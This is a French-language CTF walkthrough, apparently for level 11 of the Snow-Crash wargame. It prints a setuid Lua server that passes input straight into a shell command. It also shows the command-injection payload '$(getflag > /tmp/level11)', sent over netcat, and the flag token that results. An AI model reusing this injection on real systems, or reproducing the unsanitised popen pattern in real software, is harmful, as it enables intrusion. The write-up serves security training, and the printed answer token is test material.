snow-crash/level11
2026-01-28 02:49:33 +01:00
..
flag feat(lvl11): adding the flag 2026-01-28 02:49:33 +01:00
README.md docs(lvl11): adding the readme 2026-01-28 02:49:10 +01:00

Lors de mon arriver sur le level 11 je remarque un fichier lua lisble

ls -l
total 4
-rwsr-sr-x 1 flag11 level11 668 Mar  5  2016 level11.lua

Je l'ouvre pour regarder le contenue

#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))

function hash(pass)
  prog = io.popen("echo "..pass.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)

      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end

  end

  client:close()
end

Le hash a ete decode via CrashStation et donne en sha1 NotSoEasy Ce n'est donc pas la reponse mais il fallait bien tenter

Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier

Lorsqu'il est en ecoute il demande un password

nc localhost 5151
Password: 

mais le hash est calculer en effectuant une commande echo $args | sha1sum (traduit en shell) nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier

nc localhost 5151
Password: $(getflag > /tmp/level11)
Erf nope...

cat /tmp/level11
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s